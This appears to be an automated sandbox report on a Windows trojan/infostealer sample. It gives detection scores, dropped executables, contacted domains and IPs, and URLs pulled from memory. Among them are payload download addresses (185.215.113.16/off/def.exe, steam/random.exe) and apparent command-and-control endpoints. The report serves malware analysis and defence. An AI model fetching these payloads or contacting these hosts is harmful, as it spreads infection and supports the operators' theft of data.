Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
s31ydU1MpQ.exe	52%	Virustotal		Browse
s31ydU1MpQ.exe	61%	ReversingLabs	Win32.Trojan.Generic
s31ydU1MpQ.exe	100%	Avira	TR/Crypt.XPACK.Gen
s31ydU1MpQ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
sustainskelet.lat	unknown	unknown	false	high
crosshuaht.lat	unknown	unknown	false	high
rapeflowwj.lat	unknown	unknown	false	high
grannyejh.lat	unknown	unknown	false	high
aspecteirs.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high
discokeyus.lat	unknown	unknown	false	high
energyaffai.lat	unknown	unknown	false	high
necklacebudi.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
energyaffai.lat	false	high
https://lev-tolstoi.com/api	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	s31ydU1MpQ.exe, 00000000.00000003.1413578451.0000000005947000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414257749.000000000594A000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414085786.0000000005947000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	s31ydU1MpQ.exe, 00000000.00000003.1342694795.000000000597C000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://player.vimeo.com	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	s31ydU1MpQ.exe, 00000000.00000003.1342694795.000000000597C000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeX	s31ydU1MpQ.exe, 00000000.00000003.1565171294.0000000005921000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1566016443.000000000592B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com:443/apiocal	s31ydU1MpQ.exe, 00000000.00000003.1565171294.0000000005921000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1566016443.000000000592B000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1480772440.000000000592B000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/?subsection=broadcasts	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/subscriber_agreement/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.gstatic.cn/recaptcha/	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.fastly.	s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/ws	BGXAMSUR4L24WR8IH77.exe, 0000000B.00000002.1683875991.0000000001099000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptc	s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.valvesoftware.com/legal.htm	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeKl	s31ydU1MpQ.exe, 00000000.00000003.1564793183.0000000001311000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://help.stRG	s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://s.ytimg.com;	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/	s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steam.tv/	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/Q=	s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/p	s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/sw	s31ydU1MpQ.exe, 00000000.00000003.1480772440.000000000592B000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/	s31ydU1MpQ.exe, 00000000.00000003.1436249870.000000000595B000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1389314349.000000000595B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/points/shop/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	s31ydU1MpQ.exe, 00000000.00000003.1342694795.000000000597C000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/pi0Q	s31ydU1MpQ.exe, 00000000.00000003.1341740721.0000000001282000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sketchfab.com	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lv.queniujq.cn	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	s31ydU1MpQ.exe, 00000000.00000003.1391350534.0000000005A45000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/privacy_agreement/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steambroadcast-test.akamaizedrG/	s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16:80/off/def.exe	s31ydU1MpQ.exe, s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe4	s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://checkout.steampowered.com/	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	s31ydU1MpQ.exe, 00000000.00000003.1413578451.0000000005947000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414257749.000000000594A000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414085786.0000000005947000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	s31ydU1MpQ.exe, 00000000.00000003.1565171294.0000000005921000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1566016443.000000000592B000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/;	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/about/	s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://checkout.steampowBG	s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/my/wishlist/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com:443/apissio	s31ydU1MpQ.exe, 00000000.00000003.1480772440.000000000592B000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://help.steampowered.com/en/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lv.queni	s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296626489.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apim	s31ydU1MpQ.exe, 00000000.00000003.1341921354.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://store.steampowered.com/subscriber_agreement/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apin	s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://recaptcha.net/recaptcha/;	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apis	s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/discussions/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/stats/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://medal.tv	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://broadcast.st.dl.eccdnx.com	s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exeh	s31ydU1MpQ.exe, 00000000.00000003.1564712742.0000000001321000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	s31ydU1MpQ.exe, 00000000.00000003.1390045533.000000000597B000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579679
Start date and time:	2024-12-23 07:27:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	s31ydU1MpQ.exe renamed because original name is a hash value
Original Sample Name:	d96503971b338f5b4db28e9f306a1fad.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@11/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
